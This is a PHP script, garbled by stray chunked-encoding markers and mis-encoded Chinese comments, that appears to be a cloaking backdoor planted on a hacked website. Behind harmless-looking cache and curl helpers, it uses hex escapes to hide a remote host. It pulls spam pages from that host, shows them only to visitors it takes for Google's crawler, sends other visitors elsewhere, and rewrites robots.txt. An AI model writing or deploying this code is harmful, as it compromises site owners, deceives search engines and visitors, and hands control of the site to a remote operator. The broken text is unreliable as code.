1 < 5 ?php 5 erro 5 r_rep 5 ortin 5 g(0); 4 $g 6 et = f 5 ilter 5 _inpu 6 t_arra 4 y(IN 4 PUT_ 5 GET, 5 FILTE 4 R_SA 4 NITI 5 ZE_ST 4 RING 6 ); 4 /* - 1b ------------------------ 6 é« 4 ˜é€Ÿ 3 本 8 地缓å 3 ˜å‡ 4 ½æ•° 2 1d ------------------------- */ 4 fun 6 ction 5 cache 5 _get( 5 $key, 6 $expi 5 re = d 300) { $ 9 file = sy 7 s_get_t 19 emp_dir() . '/cache_' . m 7 d5($key a ) . '.php' 8 ; i 7 f (file 6 _exist 7 s($file 5 ) && 5 (time 4 () - b filemtime( 9 $file)) < 11 $expire) { 8 retu 7 rn file 9 _get_cont b ents($file) e ; } b return fals 5 e; } 1c function cache_set($key, $ 4 data 4c ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @ 9 file_put_ 15 contents($file, $data 5 , LOC 4 K_EX 7 ); } 27 /* ------------------------- èŽ 4 ·å– 4 真å 3 ®žè 4 ®¿é— 4 ® IP 4 (å 3 …¼å 4 ®¹ C 5 DN / 4 åä 3 »£ï 2 ¼‰ 2f ------------------------- */ function get_re 5 al_ip b () { $ 8 keys = [ c 'H 4 TTP_ 5 CF_CO 4 NNEC 5 TING_ 5 IP', 5 // Cl 5 oudfl 13 are 'HTTP_ 4 X_RE 8 AL_IP', 21 // Nginx 'HTTP_X_ 4 FORW 4 ARDE 9 D_FOR', 6 // Pro 13 xy 'HTTP_C 5 LIENT 10 _IP', ' 4 REMO 5 TE_AD 9 DR' 6 ]; 9 forea 4 ch ( 8 $keys as 10 $k) { 8 if (!emp 5 ty($_ 4 SERV 4 ER[$ 3 k]) 14 ) { $ip f = $_SERVER[$k] 15 ; if ( 5 strpo 6 s($ip, 6 ',') 3 !== 17 false) { d $ip = tri 6 m(expl 4 ode( 9 ',', $ip) 3 [0] 11 ); } 1b if (filter_ 3 var e ($ip, FILTER_V 4 ALID 6 ATE_IP 16 )) { a return $ip 21 ; } } 11 } return '12 3 7.0 5 .0.1' 2d ; } /* ------------------------- æ› 4 ´å¿« 3 çš„ 7 getCur 3 l() 31 ------------------------- */ function getCurlF 5 ast($ 8 url) { c $cache 4 d = f cache_get($url) 13 ; if ($cached 13 !== false) return $ f cached; a $data = '' e ; if (f f unction_exists( 5 'curl 6 _init' f )) { $ 6 ch = c 19 url_init($url); 8 curl_set a opt_array( 4 $ch, 12 [ CU 5 RLOPT 5 _RETU 4 RNTR 5 ANSFE 4 R => 6 true, 16 CURLOPT_ b CONNECTTIME 7 OUT => 18 5, CURLOPT_ 12 TIMEOUT => 18 8, CURLOPT_ 4 SSL_ 5 VERIF 9 YPEER => 26 false, CURLOPT_SSL_VERIFY 4 HOST 22 => false, CURLOPT_FO 3 LLO 6 WLOCAT 3 ION 24 => false, CURLOPT_USER 5 AGENT 10 => "Mozill 4 a/5. 21 0" ]); $data = 1675 curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL ä¿¡æ¯ ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础å˜é‡ ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- è§£æž f 傿•° ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- è¿œç¨‹æŽ¥å£ ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(ä¿ç•™ kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 åˆ¤æ– ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- éž google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当å‰URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0